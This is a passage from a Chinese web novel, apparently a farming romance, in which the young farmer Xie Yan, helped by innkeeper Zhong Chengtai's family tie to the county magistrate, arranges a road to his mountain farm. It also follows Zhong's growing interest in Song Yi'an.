钟程台给娄知县介绍了灵秀山的三座山,娄知县远远的看着,听着山上传来的砍树声,他说道:“这么大的地,要是全开发出来,种出来的庄稼你那小酒楼能用得完吗?”
钟程台笑道:“我本来打算今年去州府开店的,但开荒的动作太慢了,供应不上,只能推迟了。”
听了他的话娄知县颇为诧异,“你还打算去州府开店?”
钟程台道:“当然,灵秀山的辣椒和西瓜有多好卖是有目共睹的,供不应求。要不是供应不上,我能开一百个店。”
娄知县作为县令,自然是知道天悦酒楼去年有一段时间推出了很多稀奇古怪的玩意,也知道有多受欢迎,所以他只是稍作惊讶,很快就接受了。他道:“产量上来了,用马驮太慢了,天一旦热起来,在路上都要坏不少,没有马路还是太限制了。”
钟程台附和道:“这个问题我也想过,只不过现在人手不够,修路和开荒只能顾一头,我们自然是选择先开荒。”
谢言接了话道:“我已经打算这几天多招些人,让开荒的进度推进得快些。”
此时钟程台突然跟谢言说道:“谢言,走了一路口渴得很,你去拿些水来。”
桌上就有水,谢言明白钟程台这是想支开他,应了声就走开了,“好。”
谢言走了,原地只剩下了娄知县与钟程台,钟程台压低声音与娄知县说:“姑父,这绝对是稳赚不赔的买卖,要是灵秀山起来了,你的政绩还能差吗?你都在文柳县当了二十几年的县令了,升迁就看这一茬了,赌一把如何?”
娄知县看了看钟程台,又看了看灵秀山。他在京城没有背景,中了榜眼才来了这偏远的文柳县任县令,同年的进士不是早早调回京城也是管理一方了。而文柳县偏远县城,任他想破头也做不出什么政绩,他虽然不甘心,但也无可奈何,如今总算出了灵秀山这个机遇,若是抓住了,就算不能去京城,升迁也是指日可待的。
娄知县虽然心动,但他毕竟年纪大了,图进更图稳,所以他并没有立马答应下来,只是望着灵秀山的三匹大山没有说话。
钟程台看到娄知县的神情就知道他已经心动了,不过他也不急,因为他相信娄知县最后肯定会同意的,毕竟这么好的机会不抓住是傻子。
由于娄知县要回县城,晚饭吃得很早。一顿饭吃得娄知县很满意,甚至比在天悦酒楼吃得还尽兴,临行前特意叮嘱谢言要好好经营灵秀山,谢言自然是满口答应。
谢言的心里挂记着要把人参送给娄知县的事,虽然娄知县看着挺好说话的,但是他就是不好意思开口,犹豫了一会儿,眼见娄知县都走了,谢言才赶紧拉住了钟程台,“钟大哥,我有点东西,劳你转交给县令大人。”
钟程台见他着急的汗水都快下来了,连忙问道:“什么东西?”
谢言老老实实的回道:“不是什么值钱的玩意,就是从地里挖的人参。”
钟程台看到他拿出来的盒子,一眼就想起了这就是昨天去县城的时候他特意回去拿的那个,看得出来谢言很宝贝这玩意。他应承道:“行,我替你交给他。”
谢言松了口气,“多谢钟大哥。”
钟程台拍着他的肩膀笑道;“客气什么,走啦。”
谢言将钟程台送着追上了娄县令,这才松了一口气,可算是送出去,也算是尽了自己的一份心了。
娄知县回到县城思索再三之下,最终还是同意了由县衙出面张罗给灵秀山修路的事。
县衙要给灵秀山修路这件事是王捕头来通知谢言的,同时也来通知他去县城里跟娄知县具体商议此事。
钟程台没有跟谢言透露过此事,所以谢言在得知消息的时候非常惊讶,以至于盯着王捕头直接就愣住了,“啊?”
王捕头见状拍了他的肩膀,笑得豪爽,“这可是天大的好事啊,你小子要发达了。”
谢言缓了一下,但还是有些懵,“不过这也太突然了。”
王捕头低声与他说道:“这事你可要好好谢谢钟掌柜的。”
听到王捕头的话谢言有些诧异,他以为钟程台能说动娄知县来灵秀山就已经是极限了,着实没想到竟然还能说动娄知县给灵秀山修路。
王捕头见谢言诧异的样子,还以为他不知道娄知县与钟程台的关系,低声提醒他,“钟掌柜可是娄知县的亲侄子,亲着呢。”
这跟谢言知道的就有出入了,“亲侄子?不是表的吗?”
王捕头道:“什么表的,娄知县的媳妇可是钟掌柜的亲姑姑的。”
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>此时谢言才明白,为什么张佳华和钟程台都否认娄知县是钟程台的表姑父,合着是亲的啊。这也太出人意料了。
王捕头叮嘱谢言,“虽然有钟程台在其中斡旋,不过这事还是早点定下来,早点开工的好,免得夜长梦多,你现在就赶紧去县衙。”
谢言自然明白王捕头说的道理,他应声道:“我回屋换件衣裳,立马就走。”
谢言天天在山上干活,穿的衣服都是干练的短打,穿着去见县令太不雅观,王捕头道:“也不急于一时,你洗个澡。”
谢言应声,“好。王大哥你少坐片刻,我去去就来。”
王捕头道:“我来你这儿跟回家一样,你不用管我,自去忙。”
见他这么直爽,谢言也没有在说什么,笑着应了声,“行。”就急急回屋拿了干净的衣裳,出门去河里洗澡了。
现在是白天,灵秀山现在人多了,谢言怕人看见,所以找了个隐蔽的地方洗澡。春寒料峭,虽然有太阳,但隐蔽的地方晒不到,一下水刺骨一样的凉,风吹来饶是谢言身强体壮都冷得打了个冷颤。
因为是去见县令,谢言也不敢马虎,洗澡也洗得细致,上上下下搓了三回,身上都沾上了皂角的香味才作罢。
事不宜迟,谢言收拾完后跟沈念白说了一声就跟王捕头去了县城。
到县城正是中午,谢言觉得此时去不合适,像是专门去赶午饭的,于是他跟王捕头商量,“王大哥,午时了,县令大人恐怕已经午休了,我还是下午在去叨扰吧。”
王捕头也觉得他说得有理,于是他跟谢言说:“也行,趁中午有空,你先去跟钟掌柜摸摸底。”
王捕头现在是真的把谢言当成自己人了,都是真心实意的为他着想。谢言自然感受到了,他满怀感激的说道:“王大哥一起去吧。”
王捕头道:“我就不去了,人多不好说话。我回县衙,你下午早点过来。”
谢言道:“好。”
两人分道扬镳,谢言来到了天悦酒楼。小二现在看见谢言热络得不行,从他进门就开始笑了,“谢老板,人逢喜事精神爽,我都差点没认出来,快进来坐。”
谢言朝他笑了笑,“钟大哥在吗?”
小二回道:“在,正在吃午饭。”
谢言觉得人家在吃午饭去打扰也不太合适,于是就准备在楼下随便吃点什么,等钟程台吃完了在上去,不想他刚要点菜的时候张佳华就端着一个盘子从楼上下来了,在看到谢言的时候还有些惊讶,“谢言。”
谢言看了过去,“张哥。”
张佳华问道:“你来了怎么不说一声?”
谢言回道:“知道你们在吃饭,没好意思打扰。”
张佳华说他,“你这可就见外了啊,还没吃饭呢吧,走,楼上吃去。”
都这样说了,谢言也不好在客气,他应声道:“那就叨扰了。”
张佳华叫来小二,将手中的盘子给了小二,“去跟乘风说,这菜味道不行,让他重新做过。”
这事可不小,小二赶紧应了声,端着菜去了后厨。
88.第 88 章
谢言跟着张佳华来到楼上。
张佳华推门进去,用夸张的语气说道:“看看谁来了。”他说话的同时钟程台看了过来,在看到谢言时眼里闪过一丝惊艳,他笑道:“看来今日是有喜事啊。”
谢言客气的打了招呼,“钟大哥。”
钟程台道:“快过来坐。”
三人落了座,张佳华打趣道:“谢言穿这一身跟变了个人似的,刚才我咋一看还没认出来呢。”
谢言微微笑道:“张哥打趣我了。今天我来县城是来找县令大人的。”
一听这话,钟程台也正色了,“何事?”
谢言如实说道:“王大哥今天来通知我,说是县令大人好像打算修路,叫我过来商议此事。我不敢怠慢,虽然极力赶来,但时间着实不巧,我想县令大人应该午休了,便想着下午在过去。”
钟程台点头,“娄知县确实有午休的习惯。下午去正合适。”
谢言道:“我没有想到知县大人会突然提起此事,还跟王大哥反复确认了好几遍才敢相信,真有这么好的事情落在我头上。只不过我一直在山里生活,没见过世面,城里也没有信得过的人,只能又来叨扰钟大哥。”
钟程台笑道:“这算什么叨扰,咱们兄弟,有话明说就是。”
谢言老老实实的问道:“实话说我不知道县令大人要跟我商量什么?”
钟程台回道:“从灵秀山到县城路途遥远,要修路必定要先把路线定下来,而且修路人的食宿问题也要解决,这么偏僻不可能每天来回跑。”
谢言道:“需要我们配合的我们一定全力配合。”
“应该就是这些具体事宜需要敲定。”钟程台说完同时安抚着谢言的情绪,“你不用紧张,县令大人挺和善的,他说什么你只管答应就是了。”
看着钟程台自信满满的样子,谢言就知道这件事已经定下来了,只是需要具体的实施计划,他的心也放了下来,他道:“此事还要多谢钟大哥,若不是钟大哥,小小灵秀山怎么能入县令大人的眼。”
钟程台回道:“你太自谦了,先在县城何人不知道灵秀山,你只需要好好管理灵秀山,这些都是你该得的。”
眼见话说得差不多了,张佳华适时出声道:“吃饭吃饭,一会儿菜都凉了。”
钟程台顺势也说道:“先吃饭吧。”
谢言应了声,这才开始吃饭。
刚吃两口,就见钟程台放下了筷子,他看着谢言问道:“你觉得味道怎么样?”
谢言老实回道:“我觉得挺好的。”
钟程台微微敛眉,“是吗,为什么我总是觉得差了点味道呢?”
此时敲门声响了起来,张佳华看了过去,问了句,“谁啊?”
门外的人回道:“掌柜的,是我张乘风。”
张佳华这才应道:“进来。”
话音一落,张乘风推开门,手里还端着一盘菜。他走进房中,“掌柜的,小炒肉重新炒过了。”
张乘风将菜放在了桌上,钟程台夹了一口吃了,眉头当即皱了起来,“味道还是不对?”
张佳华听了他的话也赶紧夹了一口,附和道:“跟之前的味道确实不一样。”
谢言听了他俩的话也夹了一筷子,不过他在天悦酒楼吃饭的次数少,而且又不是每次都有小炒肉,所以他并没有吃出有什么不对的味道来,也就没有说话。
张佳华看向张乘风,“你炒的?”
张乘风回道:“是。”
张佳华问道:“那味道怎么会差这么多?不仅仅这一个菜,但凡肉菜都是一样,味道都比之前差了不少。”
张乘风解释道:“之前从灵秀山拉回来的粉用完了,所以腌肉的时候没有粉,炒出来的肉就比之前的要老一些。”
张佳华问道:“什么粉?”
张乘风回道:“听念白说叫什么淀粉。”
他这么一说谢言就想起来了,前些年他们种红薯,产量太大,人吃不完,喂鸡喂鸭都吃不完,谢言怕红薯烂了,所以就做成了红薯淀粉,而那时候他们没有喂猪,一年到头用到红薯淀粉的时候很少,而红薯淀粉每年都增加,慢慢的越来越多。年前张佳华来灵秀山拉货,但冬天没啥货可拉,谢言就把家里的红薯淀粉给张佳华拉走了。
张佳华转而看向了谢言,谢言知道这个地区,这个时代是没有红薯,土豆,玉米的,所以自然也是没有红薯淀粉,于是他解释道:“前几年红薯多了吃不完,我就做成了红薯淀粉,炒肉之前腌一腌是要比没腌过的要嫩些。”
张佳华问道:“红薯淀粉你那儿还有吗?”
谢言摇头,“没有了,现在灵秀山人多,动物也多,红薯都成重要粮食了。”
连吃都要精打细算,更别说做粉了。
钟程台看向了张乘风,“你找找有别的东西可以替代淀粉没有,下去吧。”
张乘风应了一声,转身出了门。
等张乘风关上了门,钟程台才问了谢言,“有别的东西代替吗?”
谢言回道:“暂时还没有发现。”
钟程台道:“味道下滑,这对酒楼来说可不是好事。”
看着钟程台略显忧愁的样子,谢言也想不出好办法来解决,只能说道:“我今年一定把红薯的产量提上来。”
钟程台也知道这事急也急不来,他再尝了一口小炒肉,然后毫不犹豫的跟张佳华说:“去跟张乘风说,把所有用到红薯淀粉的菜全部下掉。”
张佳华应声,“我马山就去。”
张佳华急急忙忙的走了,钟程台呼了一口气,他看向谢言,“谢言,就看你的了。”
谢言赶紧应承,“钟大哥放心,今年我一定扩大红薯的种植。”
但做粉谢言不敢保证,毕竟以现在的条件,做粉的损耗太高了,一斤红薯都做不出一两粉,而酒楼的用量又大,就算所有地全都种红薯,谢言都不敢保证产出的红薯粉够天悦酒楼用。
钟程台在生意场上混迹太久,谢言这点小心思他还是看得出来的,于是他也没有在说下去。“吃饭吧。”
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知道钟程台的心情不好,谢言也变得小心翼翼了,吃完了手里的饭就准备起身告辞了,“多谢钟大哥的招待,今天我就先走了,改天我带着念白登门感谢。”
钟程台道:“现在过去太早了,你休息一会儿,下午我跟你一起去县衙。”
钟程台能一起去,谢言求之不得,他道:“好,走的时候钟大哥叫我。”
钟程台道:“嗯。”
谢言从房间里出来,听着楼下大堂人声鼎沸的,现在正是饭点,大堂坐得满满当当的,小二在其中穿梭,忙得脚不沾地,大概是下了许多的菜,就连张佳华也在其中,给点了肉菜的客人道歉。
见楼下这么忙,谢言也就没有去大堂,他下了楼径直去了后厨,后厨也是忙得不开开交,谢言便自个去了沈念白之前住的房间。
门没关,一推就开了,屋内还保留着之前沈念白住的样子,就连黑色面具都还挂在箱子上。
谢言走过去将面具拿在手里,竹编的面具,被涂成了黑色,近看比远看还要吓人,谢言看了一会儿后又将面具挂了回去。床还铺着,但他担心把衣服弄皱了,所以并没有躺上去,他在屋里转了一圈后,觉得钟程台一时半会应该不会走,于是他找了个凳子,吹了吹上面的灰尘,坐着等。
坐着坐着瞌睡就来了,谢言又不想躺着睡,于是靠着柱子准备小眯一会儿。
谢言瞌睡向来很好睡,就算坐着也很快就睡着了,但圆柱子稳不住人,他头一歪整个人就往旁边栽去,失重感传来谢言猛地惊醒了,他赶紧拉住了凳子,这才没有摔到地上。
谢言彻底清醒了,他深吸了一口气,幸好没有摔地上,不然衣服肯定要脏了。
有了这一遭,谢言觉也不敢睡了,睁大眼睛在凳子上坐着,但坐着坐着很快瞌睡又来了,眼睛马上就要闭上了,谢言意识到不对,赶紧睁开了眼睛。他坐也不敢坐了,就起来在屋里转圈圈,他想走着总不会睡着了吧。
一开始还好,但同样的路转了几圈过后头就开始晕了,眼看又要闭眼睛了,谢言猛地停了下来,他想,坐着睡觉要是摔了,衣服要脏,走着睡觉肯定要摔,衣服肯定也会脏,那还不如躺着睡,皱总比脏要好。
就在谢言说服自己去床上睡觉的时候,突然听到了张佳华喊他的声音,“谢言。”“谢言。”
谢言的瞌睡立马就没了,赶紧应声,“诶。”同时往门口走去,打开门正好看见了张佳华。
张佳华问道:“楼上的那么多房间,你怎么到这里来了?”
谢言回道:“不知不觉就走到这里来了。”
张佳华道:“掌柜的让我来喊你去县衙了。”
谢言点了头,张佳华道:“走吧。”
谢言突然喊住了他,“张哥。”
张佳华转身看向他,“怎么了?”
谢言有些不大好意思,但还是问道:“我衣服没什么问题吧?”
听了他的话张佳华笑道:“没问题,好看得很。”
谢言这才放下心来,他确实有点紧张了。
89.第 89 章
谢言与钟程台来到县衙时,从王捕头那儿得知娄知县才刚刚睡午觉起来。王捕头将两人安排去了偏厅等着,自己则去通报了娄知县。
没一会儿娄知县就来了,脸上还带着淡淡的睡意。他见两人还站着,随意道:“坐吧。”
谢言跟着钟程台落了座,娄知县看向谢言,微微笑道:“长衫一穿,不像庄稼人,倒像个读书人了。你才十八岁,以你现在的能耐,考个状元也是有可能的,坐公堂还是比干一辈子农活像样些,你若有心科考,我可以帮你运作运作。”
谢言知道这是娄知县的试探之言,他回道:“多谢县令大人,不过我志不在朝堂只想寄情于山水,恐要让大人失望了。”
娄知县问道:“做官有何不好?”
谢言道:“做官没有不好,只是我喜欢自由。‘山泉散漫绕阶流,万树桃花映小楼’‘闲看山水心无事,静观白云水禅心’此生足以。”
娄知县听得微微睁大了眼睛,由衷的夸赞道:“好一个‘闲看山水心无事,静观白云水禅心’,就当我多言,此话不必再提。”
钟程台适时接话,“大人不如看看我呢。”
娄知县看了他一眼,“你还是开你的酒楼吧。”
钟程台顺势挑开了话题,“大人今日找我们就是因为这事吗?”
顺着钟程台的话娄知县也说起了正事,“今天叫你来就是说修路的事。”说罢他看向了谢言,“这事你知道了吧?”
谢言回道:“今天上午知道了。”
娄知县扫了钟程台,钟程台却只是笑了笑,并没有说话,娄知县也没有说他,又看向了谢言,“你路熟,把线路定下来。”
谢言回道:“我走的都是前几天大人走的那条路,没有走过别的路。”
娄知县道:“那条路肯定不行,沿途庄稼地太多,若是修路必然损坏田地,引起民愤。”
谢言道:“那只能重新找路。”
娄知县道:“所选的路第一要平,第二要近,最主要的事不能损毁田地。”
这么多要求可就难办了,那么长的路,又全是山林,沿途都是种地的多得很,要照娄知县的要求,完全就是要重新开辟一条新路。但修路对于谢言来说是很重大的事情,在难也要去做的,于是他答应得痛快,“我回去就去找路,一定会尽快找出一条最合适的路出来。”
娄知县道:“先把路线画下来,若是拿不准可都记下来,到时候在行商议。”
谢言应声,“是。”
娄知县道:“其余事等路线定下来再说。”
谢言应声,“是。”
娄知县道:“干活去吧,抓紧些。”
“是。”谢言起身告辞,娄知县看向了钟程台,“你也别光看着,多干点事。”
钟程台有些诧异,“我也要去?”
娄知县看着他没说话,但意思很明显了,钟程台无奈的应声,“是,我知道了。”
“去吧。”
谢言和钟程台从县衙出来,谢言与王捕头刚要说话,就听见屋内的娄知县在喊他,谢言忙道:“王大哥,你先忙,我就先走了。”
王捕头点了头,就转身进屋了。
谢言和钟程台并肩往外走,走到县衙门口的时候背后响起了王捕头的声音,“等等我。”
谢言转身回去,王捕头追了上去,“大人让我跟你们一起去。”
这倒是让谢言有些诧异,娄知县竟然会让王捕头一起去,不过这也侧面说明娄知县对此事的重视程度,对谢言来说这是天大的好事。
一两个时辰的路线,不是一天半天就能确定完的,于是三人干活之前还去了一趟天悦酒楼,钟程台将店内的事情交给了张佳华,又问了谢言,“画图没问题吧?”
谢言回道:“路线图没问题,其他的应该不行。”
“那就行。”钟程台将纸笔交给了谢言。
带上行李,三人便出了城,开始规划修路的路线。
开始还很好规划,没有庄稼地就按照原本的小路走就是了,真正难的是遇到了庄稼地,要绕开。众所周知,庄稼地都是一片一片连起来的,不是单独的一小块,所以一旦遇到了就要绕很远的路,而这种原本有一条小路的地方,大家都是从小路走,要绕开就得去林子里重新找路。
找着找着他们就发现了一件更伤脑筋的事,那就是一般庄稼地的边沿要么是非常陡的斜坡,要么直接就是悬崖,总之就是非常不适合走。
遇到这种地方,三人只能深入森林中找路,森林里虫子又多,钟程台这种娇生惯养的进去钻了没一会儿脸上脖子上就被咬了好几个疙瘩,看起来又红又肿的。钟程台不停的去抓,血丝都抓出来了,看得谢言鸡皮疙瘩都起来了,他道:“钟大哥,要不你先在外面等着,我跟王大哥进去看,等看好了在喊你进来确定。”
钟程台正有此意,当即就顺坡下了,“好。”
一直到日落西山,三人才收工往灵秀山走。为了能快点把路线确定下来,这段时间钟程台和王捕头都暂时住在灵秀山。
灵秀山的人不知道这档子事,所以当三人满头包回来的时候把大家都吓了一跳,尤其是沈念白,在看到谢言脸上全是疙瘩,吓得脸都白了,赶紧问道:“这是怎么回事?”
谢言回道:“没什么,蚊虫叮的,一会儿就好了。”
沈念白直皱眉,“你干什么去了,怎么叮成这样了?”
谢言回道:“我们去看路了。”
沈念白还是不懂,“看路怎么能叮成这样?”
啰里啰嗦的,钟程台实在听不下去了,直接说道:“灵秀山要修路,我们去找路去了。”说罢问道,“这儿有没有大夫啊?这也太痒了。”
沈念白回道:“没有大夫,被蚊虫叮了我们都是用艾草水洗,洗了就不痒了。”
钟程台道:“那赶紧弄了洗啊。”
柳梦寒道:“没有现成的艾草,得去山上找。”
钟程台听得要晕过去,他抓得人都要疯了,他道:“那还不赶紧去找。”
沈念白道:“我们这就去。”
谢言拉住了他,“天都快黑了,让承志他们去吧。”
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此时宋明笙道:“还是我们去吧,我们天天在山上干活,知道哪里有艾草,承志他们应该不知道哪里有。”
七嘴八舌的听得钟程台一个头两个大,“不管是谁,赶紧去弄回去。”
谢言道:“宋师傅你们去吧,尽量快点。”
宋明笙应声,“好。”
宋明笙带着三个儿子背着背篓上山去了,此时已经是吃晚饭的时间了,开荒的众人都回来等着开饭了,但突然来了这么两个大人物,柳梦寒也拿不准了,于是悄悄的拉了沈念白到旁边,低声与他说道:“你去问问谢言哥,是现在开饭还是怎么?”
沈念白满眼都是谢言脸上的疙瘩,一时间把这事给忘记了,他点了头,走到谢言旁边,拉了了他的袖子,低声问道:“谢言哥,是现在吃饭吗?”
谢言现在不止是脸痒,全身都痒起来了,完全没有心思吃饭,但总不能让大家都跟着饿,他看向了钟程台和王捕头,钟程台察觉到他的视线,与他说道:“不用看我,你们该干什么干什么。”
王捕头被王大娘围着正在给他掐脸上的疙瘩,说是掐了就不痒了,但看王捕头的表情明显是没什么用的,但耐不住王大娘坚持。
谢言道:“让大家吃饭吧。”
现在天气还不热,饭菜都在锅里热着,人多了,菜也多,以前都是四五个人一起端,现在宋家人上山去了,只有柳梦寒一个人在忙,许承志看见了,就喊了几个兄弟一起端菜。
很快菜就上齐了,谢言见钟程台和王捕头都没有动,于是喊道:“钟大哥,王大哥,吃饭吧。”
钟程台一手抓着脖子,一手摇了摇,“现在吃不下。”
王捕头也道:“我也等会再吃。”
谢言现在也没有心思吃饭,于是他对坐在旁边的沈念白说:“你先去吃饭,我洗了澡再吃。”
沈念白道:“我先去把水烧着,宋师傅他们应该一会儿就回来了。”
“行。”
三个人要用一整锅水,光掺水都要掺好一会儿,柳梦寒看见与沈念白说道:“你去烧火,我来掺水。”
沈念白将葫芦水瓢递给了柳梦寒,自己坐到了灶前,刚才才煮了饭,现在灶里全是火石,树叶一放进去就燃起来了,在放几块木柴一大笼火就燃起来了。
钟程台实在抓得难受,起身走到门口去吹冷风,此时天已经全黑了,他只依稀看到不远处有几个人影,他问道:“他们是回来了吗?”
柳梦寒循着他的视线看过去,但太黑了他也拿不准,于是就说:“应该是回来了吧。”
钟程台微微挑眉,“应该?”
柳梦寒回道:“看起来像是回来了。问问就知道了。”说完他朝人影大声喊道,“宋师傅,你们回来了没有?”
比回复来得更快的是回音,在激荡的回声中传来了宋明笙的声音,“回来了。”
柳梦寒看着钟程台欣喜的说道:“回来了。”
钟程台道:“让他们快点。”
柳梦寒依言大声喊道:“快点。”
“快得嘞。”
90.第 90 章
宋明笙几人回来的时候水也烧开了,将新割回来的艾草洗净后放进锅里熬。热气一蒸,艾草的气味就散出来了,整个屋都是艾草味。
钟程台问道:“要熬多久?”
柳梦寒道:“多熬一会儿效果更好。”
钟程台痒得实在受不了了,他道:“先弄点给我先洗着。”
柳梦寒应了一声,“好。”
许承志喊了几个人将熬了一会儿艾草水提到了房间内的浴桶里,浴桶不小,提水都提了好一会儿。
水准备好了,柳梦寒与钟程台说道:“钟掌柜你先洗着,待会水熬好了在给你加。”
钟程台点了头,柳梦寒几人就走了,走的时候给他把门拉了过去,钟程台走到门边准备把门关上,但是转念一想,一会儿要加水,那岂不是他还要从浴桶里起来开门?
为了避免麻烦,钟程台只将门关严实了一点,但并没有扣上,然后就迫不及待脱了衣服走进了浴桶,艾草的效果非常好,一进水瘙痒难耐的感觉就淡了许多。
这边晚饭也已经吃完了,柳梦寒和宋明笙几人收拾碗筷,碗筷太多,锅又占上了,只能去河边洗,于是柳梦寒让宋家老三宋亦安留下来熬艾草水,自己则和宋家其他的人去河边洗碗了。
熬了一会儿,水都变成了深绿色,宋亦安觉得差不多了,本来柳梦寒是说让许承志给他帮忙的,但是宋亦安觉得有点不好意思什么都喊许承志,于是他起身去敲了钟程台的房门,准备跟他说要加水了,然后才让许承志提水过来,结果他一敲门,门就开了一条缝,他下意识的往后退了一步。
随着门缝越开越大,已经完全能看清屋中的景象了,可宋亦安只看到了冒着热气的浴桶,根本没有看到人,宋亦安有些忐忑,他切切的喊了声,“钟掌柜。”
屋内没有人回应,宋亦安心里泛起不安,难道是出事了吗?他快步进去,可屋里也没有人,他着急的喊,“钟掌柜。”
就在此时,突然听到‘哗啦’一声,宋亦安赶紧转身看去,当即就瞪大了眼睛,只见钟程台不着片缕从浴桶中站了起来,热水烫得他白皙的皮肤泛着粉色。纵然只看到了肩膀,但宋亦安像是看到什么洪水猛兽一样,猛的转过了身,顿了一会儿后快步跑了出去,只留下屋内的钟程台一脸懵。
钟程台靠在浴桶里闭上了眼睛,没一会听到了一道怯生生的声音,“钟掌柜的,水熬好了。”
钟程台睁开眼睛往门外扫去,只看到一个修长的影子,他微微勾了勾唇,莫名的觉得有趣,他道:“你能提得起吗?”
门外那道怯生生的声音又响了起来,“许大哥提得起。”
钟程台应声,“嗯,你让他提来吧。”
“好。”
听到门外的人似乎松了一口气,钟程台又道:“还有个事想请你帮忙。”
门外的人顿了一会儿才问道:“什么事啊?”
钟程台嘴角噙着笑,刻意放缓了声音,“我没拿换的衣服,麻烦你去我随身的行李里帮我拿一下,可以吗?”
这次回应的时间更长了,不过钟程台也不急,他盯着门外一动不动的影子,嘴角的笑意更深了。
“好。”
影子动了,钟程台看着影子一点一点的消失,又重新闭上了眼睛,静静地感受自己此刻澎湃的心跳。
没一会儿,一道粗犷的声音扰了钟程台的兴致,“钟掌柜,水来了,你小心点,当心烫。”
钟程台睁开眼看到了许承志,以及他手里提着的热气腾腾的水桶,看样子似乎想直接一桶开水直接给他倒下来,钟程台眉头跳了跳,他说:“放下就成。”
许承志脱口而出,“不加吗?”
钟程台道:“现在不用。”
“好。”
许承志依言将装着艾草水的水桶放在了地上,转身走了出去。
钟程台重新闭上了眼睛,没一会儿门外想起了那道怯生生的声音,“钟掌柜,衣服拿来了。”
听到这声音钟程台就勾起了嘴角,随即睁开了眼睛,他看着递到门口的衣服,以及抓着衣服的修长的手。
“能麻烦你给我放过来吗,我还想在泡一泡。”
听到他的话宋亦安愣了一下,但还是答应了,“好吧。”
钟程台看着他以背对着他的姿势从门口进来,然后将衣服放在了柜子上,放好后他就准备走了,钟程台开口叫住了他,“能给我一个瓢吗?”
宋亦安回道:“我去给你拿。”
钟程台带着笑意,十分客气的道了谢,“谢谢你啊。”
宋亦安低着头,快速的回了声,“没事。”说完就跑了出去。
钟程台看着宋亦安拿来的衣服,是一套蓝绿色的长衫,他记得这套衣服不是放在最上面的。
没一会儿门外就响起了脚步声,钟程台看了过去,如愿看到了那个修长的影子,但影子却只在门口停了下来,他说道:“钟掌柜,水瓢拿来了。”
钟程台道:“能麻烦你给我拿进来吗?”
影子没有回话,钟程台便说道:“你要是觉得不方便的话,让别人给我拿进来也可以。”
听到钟程台的话,宋亦安觉得自己做得有点过分了,于是他道:“没有不方便,我给你拿进来。”
话音一落,宋亦安那张雌雄莫辨的漂亮脸蛋就从门板后面露了出来,钟程台看着他友好的笑了笑,“麻烦你了。”
宋亦安回道:“钟掌柜的客气了。”
宋亦安将水瓢递给了钟程台,钟程台接了过来,宋亦安问道:“还有什么需要帮忙的吗?”
钟程台笑道:“不用了,天色不早了,你早点去休息吧。”
听到他的话宋亦安也没有在说什么,点了头就转身出去了,钟程台看着他的背影一直到他的背影彻底给门板隔绝才收回了视线。
钟程台将地上的水桶提起来一股脑全部倒进了浴桶,然后整个人浸泡在浴桶里,随即闭上了眼睛,脑海里清晰的印出一道修长的背影,吸引着他整个人往下坠。
另一边谢言洗完了澡,虽然不痒了,但被叮的疙瘩还没有消散,看起来还是吓人,沈念白看着他蔓延心疼,“明天我
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替你去吧。”
听了他的话谢言心暖得当即就笑了出来,他道:“你要是被叮成这样,我肯定难受得三天两晚都睡不着。”
沈念白听着他的玩笑话,不由得正了神色,“我说的是真的。”
谢言道:“我说的也是真的。”
沈念白抿了嘴唇,他知道修路对他们来说是一件天大的好事,不去做是不可能的,但这才开始就这么惨,以后不定被咬成什么样子。
“明天带把扇子,一直扇,我就不信还能被咬。”
谢言笑了,他也不说沈念白的主意不行,只是说:“我看看做点驱虫水吧。”
听到他的话沈念白好奇的问道:“你还会做驱虫水呢?”
谢言道:“很稀奇?”
沈念白回道:“只是感觉你好厉害,什么都会。”
谢言朝他勾了勾手指,沈念白不明所以的凑了过去,就听见谢言在他耳边问道:“你感觉准吗?”
沈念白抬头疑惑的看着他,“这有什么不准的?”
话音一落谢言就抱住了他,整个人完完整整的贴住了他,“那你现在什么感觉?”
沈念白脸一瞬间就通红,他羞赧的低喊了一声,“谢言哥。”
谢言拦腰将他抱起来往床上走去,“试试有没有你想像的那么厉害。”
谢言这边试试得火热,而另一边的钟程台就惨了,他从出生就没有在山里住过,着实没想到山里的蚊虫这么多,一躺到床上耳边全是‘嗡嗡’声,别说吵得他睡不着,咬得他都受不了,他尝试了好几次,最后还是认命的坐了起来。
屋里黑漆漆的,不过从窗户看出去,今晚的月色倒是不错,钟程台便下了楼准备去院子里赏月,结果他走到门口的时候看到有人在外面收衣服,看背影正好是他熟悉的那个人。
钟程台起了逗弄的心思,于是他蹑手蹑脚的走过去,伸出手在那人肩膀上轻拍了一下。
这大晚上的,宋亦安直接被吓得跳了起来,同时发出尖锐的叫声,“啊”
钟程台没想到他胆子这么小,连忙说道:“是我。”
宋亦安转身看到了钟程台,此时不远处的屋内宋绥安从窗户探头问道:“怎么了?”
宋亦安回道:“没事,我收衣服呢,有个虫子吓了一跳。”
宋绥安问道:“要不要帮忙?”
宋亦安回道:“不用了,我马上就收好了。”
宋绥安道:“快点,外头那么黑。”
宋亦安回道:“知道了。”
话音一落,宋绥安就回房去了。钟程台带着歉意道歉,“抱歉吓到你了。”
宋亦安摇摇头,“没事。”
衣服有点多,宋亦安看着才刚来的样子,杆子上还有很多,钟程台就帮着他收,宋亦安见状吓了一跳,连忙道:“我自己来就行了。”
钟程台柔声微微笑着回答他,“反正我也没事,就当打发时间了。”
宋亦安虽然好奇这大晚上的他不睡觉跑外面来干什么,但他向来不是个话多的,所以并没有问出来。